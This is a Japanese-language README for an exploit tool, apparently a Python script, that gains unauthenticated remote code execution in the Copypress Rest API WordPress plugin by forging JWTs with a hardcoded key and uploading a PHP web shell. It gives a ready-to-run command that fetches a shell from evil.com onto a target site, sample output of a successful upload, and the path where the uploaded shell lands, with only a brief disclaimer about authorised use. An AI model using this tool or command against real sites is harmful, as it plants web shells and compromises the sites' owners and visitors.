
Copypress Rest API 1.1 - 1.2 - 設定可能なJWTシークレットとファイルタイプ検証の欠如による未認証のリモートコード実行
Copypress Rest API 1.1 - 1.2 - 設定可能なJWTシークレットとファイルタイプ検証の欠如による、認証されていないリモートコード実行
WordPress用Copypress Rest APIプラグイン(バージョン1.1から1.2)は、copyreap_handle_image() 関数を介したリモートコード実行に対して脆弱です。
このプラグインは、シークレットが設定されていない場合にハードコードされたJWT署名キーを使用し、ファイルタイプを検証しないため、認証されていない攻撃者がトークンを偽造し、イメージハンドラエンドポイントを通じて任意のファイル(PHPシェルなど)をアップロードできます。
スクリプト名: CVE-2025-8625.py
このPythonスクリプトは、脆弱性の悪用を自動化し、有効なJWTを生成して巧妙に細工されたリクエストを送信し、悪意のあるファイル(ウェブシェル)を脆弱なWordPressサイトにアップロードできます。
python CVE-2025-8625.py -u https://target.com -shell https://evil.com/shell.php
-u / --url: 対象のWordPressサイトのURL-shell / --shell: ウェブシェルまたは悪意のあるPHPファイルへの直接リンク出力例:
JWT: eyJ0eXAiOiJKV1QiLCJhbGciOi...
HTTP 201: {"created":true,"id":123,"message":"Success"}
Exploit success! Check your shell upload.
シェルのアップロードに成功しました! 🎉
シェルのパス例:
https://target.com/wp-content/uploads/2025/10/shell.php
このツールは教育および許可されたペネトレーションテストの目的にのみ使用してください。
明示的な許可なしにターゲットに対して使用することは違法です。
作成者: Nxploited (Khaled Alenazi)